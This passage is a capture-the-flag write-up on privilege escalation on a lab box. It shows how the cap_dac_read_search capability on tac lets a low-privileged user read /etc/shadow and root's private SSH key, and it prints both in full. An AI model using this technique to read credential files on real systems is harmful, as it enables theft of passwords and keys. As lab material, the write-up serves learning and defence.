monitor:x:1001:1001:User for editing source and monitoring logs,,,:/home/monitor:/bin/rbash

Escalate to root

In monitor’s home dir, we see two binaries logMonitor and another with the same name in the v0.1/ folder but they aren’t identical

monitor@waldo:~/app-dev$ ls -lah
total 2.2M
drwxrwx--- 3 app-dev monitor 4.0K May  3  2018 .
drwxr-x--- 5 root    monitor 4.0K Jul 24  2018 ..
-rwxrwx--- 1 app-dev monitor  14K Jul 24  2018 logMonitor
-r--r----- 1 app-dev monitor  14K May  3  2018 logMonitor.bak
-rw-rw---- 1 app-dev monitor 2.7K May  3  2018 logMonitor.c
-rw-rw---- 1 app-dev monitor  488 May  3  2018 logMonitor.h
-rw-rw---- 1 app-dev monitor 2.2M May  3  2018 logMonitor.h.gch
-rw-rw---- 1 app-dev monitor 6.7K May  3  2018 logMonitor.o
-rwxr----- 1 app-dev monitor  266 May  3  2018 makefile
-r-xr-x--- 1 app-dev monitor  795 May  3  2018 .restrictScript.sh
drwxr-x--- 2 app-dev monitor 4.0K May  3  2018 v0.1
monitor@waldo:~/app-dev$ ls -lah v0.1/
total 24K
drwxr-x--- 2 app-dev monitor 4.0K May  3  2018 .
drwxrwx--- 3 app-dev monitor 4.0K May  3  2018 ..
-r-xr-x--- 1 app-dev monitor  14K May  3  2018 logMonitor-0.1
monitor@waldo ~/app-dev $ diff logMonitor v0.1/logMonitor-0.1
Binary files logMonitor and v0.1/logMonitor-0.1 differ

The C code of what each does is here. It’s notable that the one in v0.1/ works but not the one outside it.

monitor@waldo:~/app-dev$ ./logMonitor -a
Cannot open file
monitor@waldo:~/app-dev/v0.1$ ./logMonitor-0.1 -a
Nov 22 02:50:15 waldo sshd[951]: Accepted publickey for monitor from 127.0.0.1 port 39498 ssh2: RSA SHA256:Kl+zDjbDx4fQ7xVvGg6V3RhjezqB1gfe2kWqm1AMD0c
Nov 22 02:50:15 waldo sshd[951]: pam_unix(sshd:session): session opened for user monitor by (uid=0)
Nov 22 02:50:15 waldo systemd: pam_unix(systemd-user:session): session opened for user monitor by (uid=0)
Nov 22 02:50:15 waldo systemd-logind[411]: New session 1 of user monitor.
Nov 22 02:50:17 waldo sshd[960]: Received disconnect from 127.0.0.1 port 39498:11: disconnected by user
Nov 22 02:50:17 waldo sshd[960]: Disconnected from 127.0.0.1 port 39498
Nov 22 02:50:17 waldo sshd[951]: pam_unix(sshd:session): session closed for user monitor
Nov 22 02:50:17 waldo systemd-logind[411]: Removed session 1.
Nov 22 02:50:31 waldo sshd[984]: Accepted publickey for monitor from 127.0.0.1 port 39500 ssh2: RSA SHA256:Kl+zDjbDx4fQ7xVvGg6V3RhjezqB1gfe2kWqm1AMD0c
Nov 22 02:50:31 waldo sshd[984]: pam_unix(sshd:session): session opened for user monitor by (uid=0)
Nov 22 02:50:31 waldo systemd: pam_unix(systemd-user:session): session opened for user monitor by (uid=0)
Nov 22 02:50:31 waldo systemd-logind[411]: New session 3 of user monitor.
Nov 22 02:50:34 waldo sshd[993]: Received disconnect from 127.0.0.1 port 39500:11: disconnected by user
Nov 22 02:50:34 waldo sshd[993]: Disconnected from 127.0.0.1 port 39500
Nov 22 02:50:34 waldo sshd[984]: pam_unix(sshd:session): session closed for user monitor
Nov 22 02:50:34 waldo systemd-logind[411]: Removed session 3.
Nov 22 02:50:50 waldo sshd[1017]: Accepted publickey for monitor from 127.0.0.1 port 39502 ssh2: RSA SHA256:Kl+zDjbDx4fQ7xVvGg6V3RhjezqB1gfe2kWqm1AMD0c
Nov 22 02:50:50 waldo sshd[1017]: pam_unix(sshd:session): session opened for user monitor by (uid=0)
Nov 22 02:50:50 waldo systemd: pam_unix(systemd-user:session): session opened for user monitor by (uid=0)
Nov 22 02:50:50 waldo systemd-logind[411]: New session 5 of user monitor.
Nov 22 02:50:50 waldo sshd[1026]: Received disconnect from 127.0.0.1 port 39502:11: disconnected by user
Nov 22 02:50:50 waldo sshd[1026]: Disconnected from 127.0.0.1 port 39502
Nov 22 02:50:50 waldo sshd[1017]: pam_unix(sshd:session): session closed for user monitor
Nov 22 02:50:50 waldo systemd-logind[411]: Removed session 5.
Nov 22 02:50:59 waldo sshd[1036]: Accepted publickey for monitor from 127.0.0.1 port 39504 ssh2: RSA SHA256:Kl+zDjbDx4fQ7xVvGg6V3RhjezqB1gfe2kWqm1AMD0c
Nov 22 02:50:59 waldo sshd[1036]: pam_unix(sshd:session): session opened for user monitor by (uid=0)
Nov 22 02:50:59 waldo systemd: pam_unix(systemd-user:session): session opened for user monitor by (uid=0)
Nov 22 02:50:59 waldo systemd-logind[411]: New session 7 of user monitor.
Nov 22 03:17:01 waldo CRON[1283]: pam_unix(cron:session): session opened for user root by (uid=0)
Nov 22 03:17:01 waldo CRON[1283]: pam_unix(cron:session): session closed for user root

Assuming both are compiled from the same source, why does one work but not the other? Given the user monitor isn’t in the adm group, and thus unable to read log files in /var/log, both binaries should have failed. The answer lies in Linux capabilities and Hack Tricks has a page here. linpeas highlighted this in the script output which is interesting since I typically skip this part of the results (never anymore!).

/usr/bin/tac = cap_dac_read_search+ei
/home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei

[+] Users with capabilities
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities
cap_dac_read_search monitor

There’s a video here on how to exploit cap_dec_read_search. The reason why the logMonitor binary in v0.1/ works is because it has sudo-like permissions to read any file on the system such as those which require at least an adm group membership and our user monitor is can invoke this power. The script found that /usr/bin/tac command which is basically cat but backwards (prints lines from bottom to top) also has this capability.

monitor@waldo ~/app-dev $ getcap /usr/bin/tac
/usr/bin/tac = cap_dac_read_search+ei

So we could use it to read /etc/shadow for example.

monitor@waldo:~/app-dev$ /usr/bin/tac /etc/shadow
app-dev:$6$RQ4VUGfn$6WYq54MO9AvNFMW.FCRekOBPYJXuI02AqR5lYlwN5/eylTlTWmHlLLvJ4FDp4Nt0A/AX2b3zdrvyEfwf8vSh3/:17654:0:99999:7:::
monitor:$6$IXQ7fATd$RsOewky58ltAbfdjYBHFk9/q5bRcUplLnM9ZHKknVB46smsKn4msCOXDpyYU6xw43rGqJl5fG3sMmEaKhJAJt/:17654:0:99999:7:::
steve:$6$MmXo3me9$zPPUertAwnJYQM8GUya1rzCTKGr/AHtjSG2n3faSeupCCBjoaknUz2YUDStZtvUGWuXonFqXKZF8pXCkezJ.Q.:17653:0:99999:7:::
sshd:*:17653:0:99999:7:::
messagebus:*:17653:0:99999:7:::
avahi-autoipd:*:17653:0:99999:7:::
_apt:*:17653:0:99999:7:::
systemd-bus-proxy:*:17653:0:99999:7:::
systemd-resolve:*:17653:0:99999:7:::
systemd-network:*:17653:0:99999:7:::
systemd-timesync:*:17653:0:99999:7:::
nobody:*:17653:0:99999:7:::
gnats:*:17653:0:99999:7:::
irc:*:17653:0:99999:7:::
list:*:17653:0:99999:7:::
backup:*:17653:0:99999:7:::
www-data:*:17653:0:99999:7:::
proxy:*:17653:0:99999:7:::
uucp:*:17653:0:99999:7:::
news:*:17653:0:99999:7:::
mail:*:17653:0:99999:7:::
lp:*:17653:0:99999:7:::
man:*:17653:0:99999:7:::
games:*:17653:0:99999:7:::
sync:*:17653:0:99999:7:::
sys:*:17653:0:99999:7:::
bin:*:17653:0:99999:7:::
daemon:*:17653:0:99999:7:::
root:$6$tRIbOmog$v7fPb8FKIT0QryKrm7RstojMs.ZXi4xxHz2Uix9lsw52eWtsURc9dwWMOyt4Gpd6QLtVtDnU1NO5KE5gF48r8.:17654:0:99999:7:::

Also root.txt. Unfortunately, short of cracking the root hash above, there’s no way to get a root shell on this box. There’s a private SSH key in root’s .ssh dir, but there’s no authorized_keys so we can’t use it to get a shell (note piping file through tac twice reverts it back to normal)

monitor@waldo /dev/shm$ /usr/bin/tac /root/.ssh/id_rsa | /usr/bin/tac
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAvN1rN9lPfdclMO+ZnoA17rDK5coWWPBMfIadj/PKozv1Ol49
Hql4uEZ6XmLqaV5sfbGaYShuRDJqverunF/c6ntu7AADFozRfkmXxnjkU4P7g8nE
IvNf4ow46MvAdiK3nEBD6TJJpwBjqI/RiVb7xac9uA9XWPAZk5CKw1VDCYzhWdbW
GymtVldQkpmMgE8h1/ymWTIXeMuPp/4k/Gfa0jB0TKplZFpGHZ0mBqsEFAU55t7E
TH9Vx2Otr6alb5C5Ufr3vrmdg5wat9FJYMKnd2hz1ful9GNpOF8cWUIDZYzAHmCO
ZXGiiZmiigagRDWCiiT/Jv0l+nek8ytEvGWiIQIDAQABAoIBAFQbAoFHe/fdVImb
WbzU+a+G+YQlX5hRwq39wLL3bTkOHWHVz8AU1laxxBK+WAd+bi/3ZHl56Mjj7tcO
hR4MLrQZLcdZJgbnxO9JVJalBYEPmHUS6A5sdTnNGhbJjbbONRgXImb55wTAzqCl
EznnC430sS6DXnGT0r/9MV5VXNomJwyPBz0t8yqvS8uJkni0GZE3hGRrd5fFeEgz
fz38bJCkN1RWWVgOiKYJUCZQRJ3eNiPBRChp0+NSY3Z/E4omNc07/xpdOnUyPMSP
sdQ5XKj5AIIW2XEd+S0Ro1IebfU3S0Bl4pCRzrROxJLNQNOedOv57JoEtcVC0Ko4
DRTS2YUCgYEA8YGaIIs9L6b2JmnXe8BKBZb0O61r3EsWvkGAsyzxbIlWNSWOcdW5
eHyHW9Md2J4hDTQbrFDQ7yUDoK+j6fi6V/fndD4IE9NUc1pNhhCB1Nt9nwj28nS7
DgNeNaceHtVrn5Hc9KTUJE7HhBwSffKMM95D/7xzYYxTqM11yh7c/ncCgYEAyDMO
05yq1Q/+t2tC5y3M+DVo4/cz65dppQcOf0MIIanwV7ncgk2Wa5Mw8fdo1FtnCdlR
kDE9rs5RkhoMhWcV9R1lV1xXScHaJik0ljghKrnU3yRNPOXTcKCCnxGhXsx8GjWu
uOV/JA5w4urzbUPRNqagREzeqTZN04aM2Jz9kicCgYBZPoVQJWQU6ePoShCBAIva
CPBz5SAIpg7fe6EtlRwZ+Z5LwXckBdCl/46dliRfWf/ouyrGwI6U8N6oUH+IBIwH
2epEAHBHsz5v6hzfv9XabMm9LTjkW9KL2R7FQN5WkpNUwjgeh5KFYD9GSIFk3W6F
9Eq4hFE26P45UMOIT2Nm/QKBgQCPrWUEpblMs/AAPvCC7THfKKWghbczazUchNX4
q2jYkBe3PeJtebVsevRzkzYewYJPZTHOJCi6ncOY8SzvSK5PfctPSSwz+PXQ0V22
OY5EFZ4ajvkHrYFzoR5dfs+rM2IVhVVhyQLYI60MjcYqMrOhXzBCFFDwa9Kq7jOC
+hhZnQKBgQClMZWr2GmGv7KN/LfhOa0dil3fWtxSdHdwdLlgrKDJslcQUM03sACh
F8mp0GWsEg8kUboEKkyAffG5mcZ/xwZP0MbnmGjIg28DgcbnMsldxOJi3m3VAbC+
x8YIcMgR7/X4fGSV20lsgTVMSH9uNNXD+W3sCJ6Nk+mUBcdUoeFt+w==
-----END RSA PRIVATE KEY-----
monitor@waldo /dev/shm$ /usr/bin/tac /root/.ssh/authorized_keys | /usr/bin/tac
/usr/bin/tac: failed to open '/root/.ssh/authorized_keys' for reading: No such file or directory
monitor@waldo /dev/shm$ /usr/bin/tac /root/.ssh/id_rsa.pub | /usr/bin/tac
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC83Ws32U991yUw75megDXusMrlyhZY8Ex8hp2P88qjO/U6Xj0eqXi4RnpeYuppXmx9sZphKG5EMmq96u6cX9zqe27sAAMWjNF+SZfGeORTg/uDycQi81/ijDjoy8B2IrecQEPpMkmnAGOoj9GJVvvFpz24D1dY8BmTkIrDVUMJjOFZ1tYbKa1WV1CSmYyATyHX/KZZMhd4y4+n/iT8Z9rSMHRMqmVkWkYdnSYGqwQUBTnm3sRMf1XHY62vpqVvkLlR+ve+uZ2DnBq30Ulgwqd3aHPV+6X0Y2k4XxxZQgNljMAeYI5lcaKJmaKKBqBENYKKJP8m/SX6d6TzK0S8ZaIh root@waldo
monitor@waldo /dev/shm$ ssh -i root_id_rsa root@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:YHb7KyiwRxyN62du1P80KmeA9Ap50jgU6JlRaXThs/M.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/monitor/.ssh/known_hosts).
Permission denied (publickey).

Additionally I tried to enumerate docker config but couldn’t.

monitor@waldo ~/app-dev $ docker network ls
Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get http://%2Fvar%2Frun%2Fdocker.sock/v1.37/networks: dial unix /var/run/docker.sock: connect: permission denied
monitor@waldo ~/app-dev $ ls -lah /etc/docker/
ls: cannot open directory '/etc/docker/': Permission denied
monitor@waldo ~/app-dev $ ls -lah /var/lib/docker
ls: cannot open directory '/var/lib/docker': Permission denied

Lessons learned

  • Formatting json output to readable.
  • Understanding docker network config by smart inference
  • Restricted shell escape by overwriting executable binary
  • Linux capabilities